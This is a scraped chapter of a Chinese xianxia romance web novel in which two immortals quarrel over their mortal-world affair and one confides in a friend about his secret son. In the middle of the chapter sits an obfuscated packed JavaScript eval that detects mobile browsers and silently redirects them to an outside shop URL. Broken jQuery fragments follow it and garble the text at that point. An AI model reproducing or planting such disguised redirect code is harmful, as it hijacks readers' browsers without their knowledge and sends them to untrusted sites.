文趣网 > 其他小说 > 爹亲,飞升了就要抛夫弃子吗 > 5. 清清怀霁
    君芥芜难以否认,自己很了解历灼尘。凡尘相伴的光阴作不得数,但却是切切实实存在过的。

    眼下那人还未曾放下凡尘俗事,自己又这般不留情面,他恼怒是必然的。而君芥芜要的,也就是激怒他。

    他自认话已经说的够狠绝够明白,只待历灼尘发怒,待他摔门而去。却不料历灼尘在起初的愤怒过后,反而出奇地平静下来。

    他看向君芥芜,目光中翻涌的情绪一点一点沉静下去。

    君芥芜心头一跳,眉尖微微蹙起,却听那人倏地意味不明地问道:“芥芜上神,你当真对我全无感情,铁了心要一刀两断?”

    君芥芜心头涌现出一种不详的预感,不动声色道:“是。”

    历灼尘笑了。下一秒,他抬腿朝君芥芜缓步走去,须臾间再次将两人距离拉至寸步之间。

    “那为何方才要帮我隐瞒?”呼吸喷洒在对方唇齿之间,他幽幽道,“向帝君报备过的明明只有你一人而已。怎么?怕我私自下凡的事情暴露,因此受罚?”

    君芥芜扭头避开他灼热的呼吸,冷冷道:“只是不想我们在凡间的关系暴露在人前罢了。”

    修长的颈随着他转头的动作绷出一道清隽而优美的弧线,玉白的耳垂毫无遮掩地暴露在历灼尘眼前。历灼尘低头,轻轻吻了吻那一点玉白,“所以,芥芜是想和我偷情吗?”

    君芥芜:“……”

    他忍无可忍,终于意识到和这人说什么都无异于对牛弹琴,手肘猛地撞上历灼尘麻筋,将人撞开。

    “顺手之为,而今多说已无益。灼尘上神大可以去向七殿下自首,我无意见。”

    历灼尘还欲说什么,君芥芜一挥手,正殿的大门无风自开。

    凌厉的掌风扑面而来,将历灼尘一把拍出灵芜宫结界。

    绛色衣袍在风中猎猎翻卷,他踉跄着在云阶上退了数步才堪堪稳住身形,而面前那两扇沉沉的殿门已然合拢。君芥芜清冷如霜的声音自内传来:

    “恕不远送。”

    ——

    九重天本无传统意义上的黑夜和白昼之分,但终日一景到底无趣,于是天帝大手一挥,效仿凡间的四季时节与黑白更替划分了时令。

    历灼尘离开灵芜宫的时辰便是傍晚,天色渐渐暗下来,暮色如纱,缓缓笼上云海。君芥芜向来不喜食言,念及白日里与沈润泽的约定,甫一天黑,便去往了泽逸宫。

    泽逸宫是上重天之中离灵芜宫最近的一座宫殿,也是沈润泽的居所。

    至于为什么最近,倒还真不是巧合。

    几万年前,他们在尚未化形之时,沈润泽就极其爱黏着君芥芜。

    君芥芜起初不明所以,以为是自己无意入侵了白泽的领地,尝试避让,但无所成效。

    他和白泽是两个种族,未化形时语言完全不通。小孔雀“啾”一声,小白泽“嗷”一声,根本没办法交流,便只能不了了之。

    就这般稀里糊涂的过了一阵儿,君芥芜偶然发现对方总目光炙热地盯着他看。小孔雀身无长物,想了大半天才明悟,对方大概是喜欢他的羽毛。

    于是,他索性啄下了一根漂亮的青蓝色尾羽送给他,想着这样他总该不会缠着自己了。

    一片羽毛换许久的清静,很划算。

    小白泽受宠若惊地叼过羽毛,兴奋得当场绕着上重天跑了两圈,一连几天都春风满面。

    恰逢当月天帝让他们挑居所,他想也没想就挑了和君芥芜最近的,此后更是变本加厉地跟在君芥芜屁股后面跑。凡小孔雀出现的地方,必先出现小白泽,活像大户人家雇来保护小姐的贴身侍卫。

    想要的清静没有如期而至,君芥芜后知后觉地意识到,自己的打发好像被对方当成了示好的信号。可惜为时已晚。

    君芥芜无法,一来二去地也便和他成了朋友。

    没想到对方后来竟真成了他在上重天除了天帝之外,唯一称得上熟悉的人。

    片刻光景,他已行至泽逸宫外。

    泽逸宫的结界向来不对他设防,君芥芜象征性地叩了叩结界,缓步走进。甫一迈入,便对上一双隐隐散发着幽光的兽瞳。

    紧接着,一只通体雪白,酷似狮兽的巨大毛绒团子做出攻击状态,呲牙咧嘴地向他扑来。

    沈润泽竟是化作了原形!

    君芥芜微微后撤一步,一只手抵住那颗巨大的脑袋,另一只手揪住他竖起的耳朵,这才没被他俯冲带来的巨大惯性带倒。

    站定后,他扬手拍上白泽的吻鼻,没好气道:“做什么?你也发疯?”

    “也?”沈润泽很快捕捉到了重点,吹胡子瞪眼地哈了他一口气。巨大的神兽口吐人言道,“还有谁对你发疯了?是不是历灼尘那小子?”

    君芥芜皱了皱眉,“你先变回来,这个形态太大了,有口臭,熏得慌。”

    “怎么可能!”沈润泽瞬间化为人形,自我怀疑地往手心哈了一口气嗅闻,“我这个月都没贪嘴吃凡食,全喝的琼浆玉露,齁得嗓子都要被糊住了。怎么可能有口臭。分明是你瞎说!”

    “嗯,我瞎说。”君芥芜敷衍道,“先进屋……”

    “你还没回答我呢。”沈润泽没那么好糊弄,眯眼看他,“历灼尘那混账是不是欺负你了?”

    “没有。”

    “狗屁!”沈润泽骂道,“他没有,那我问你,你肚子里的孩子是谁的?”

    君芥芜并不意外沈润泽已经知道了——白泽通万物,先前给他把了那么久的脉,又是世间难得知晓自己真实身份的人,想猜不到都难。

    他无意辩解,只客观道:“没在我肚子里。”

    沈润泽冷笑:“是啊,可不是没在你肚子里吗?已经生下来好多年了吧?生下来是不是还娘亲娘亲的叫你呢?在凡间给人当娘当得爽吗?”

    君芥芜知他这是气到一定程度了,懒得与他计较,平静道:“你想说什么?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691979|207924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    见他这副油盐不进的样子,沈润泽更是气不打一处来:“你明知自己体质特殊,为何要同意与历灼尘那混账东西一同下凡历劫?还他爹的历的是情劫,这不就等同于默认会……”

    后头的话他没好意思说完,最终只哼了一口气,脸色青一阵儿红一阵儿的扭开头。

    “首先,混账这个词此前你从未在历灼尘身上用过。过往你与我提及他,都是说他‘性子潇洒’‘有天赋’‘必成大器’,话里话外都是想结交的意思。不过数月,就成混账东西了?”

    沈润泽气急:“你还替他说话!”

    “其次。”君芥芜充耳不闻,正色看向他,“我下凡前并不知他也会去,甚至不知我要历的会是情劫。”

    “……啊?”沈润泽张了张嘴,这回是真真切切地懵了。

    好半晌,他才像是真正理解了这话中含义,眉头锁起,迟疑道:“既然什么都不知道,那你为何要自请下凡?”

    “为突破瓶颈。”君芥芜道。

    “司命当众所言,有八成皆为真。我那时距上神之境仅一步之遥,却在瓶颈处卡了许久。后来帝君指点,要我下凡历练一番,或可寻得新机缘。”

    “居然是这样……”沈润泽喃喃,“那历灼尘他……?”

    君芥芜摇头:“我不清楚。他或许也是去找机缘的罢,碰巧罢了。”

    “还真是便宜他了。”沈润泽撇嘴,“此事你要与帝君说吗?今日青龙塔前闹得如此之大,帝君那边怕是瞒不过。”

    “我知道。时机合适之时,我会去向帝君禀报。”君芥芜淡淡道。

    时机合适之时……沈润泽狐疑地看了他一眼,“你不会是怕历灼尘偷偷下凡一事被帝君怪罪,在想如何替他推诿吧?”

    “偷偷下凡?”君芥芜皱眉,“谁同你说的?”

    沈润泽道:“不是吗?他若不是偷偷下凡,今日你也不必一人揽下全部。再说,帝君若是知晓,自不可能安排你二人同时下去。”

    “你想多了。”君芥芜道,“在青龙塔前我那般说只是不想多生事端。至于下凡,他自是也与帝君报备过的。”

    沈润泽半信半疑:“真的?”

    君芥芜面不改色:“嗯。”

    “……行吧。”沈润泽也不知信了几分,却没再多纠缠,话锋一转道,“那我小侄儿呢?如今在何处?”

    “他既能和你做一世母子,也算是有仙缘。毕竟是你的血脉,还是别让他流落在外了。待尘缘尽了,把他接上来吧。”

    君芥芜不置可否:“随他的意愿吧,或许,他觉得做凡人更自在也说不准。”

    沈润泽不赞同地看他一眼,“那怎么行?谁会不愿意成仙啊!他叫什么名字?改日我去司命那儿查查他的寿数与命格。”

    君芥芜沉默几秒,目光逐渐飘远,望向不远处即将落尽的桃花,思绪也不知飘去了何处。

    “他叫……楚怀霁。”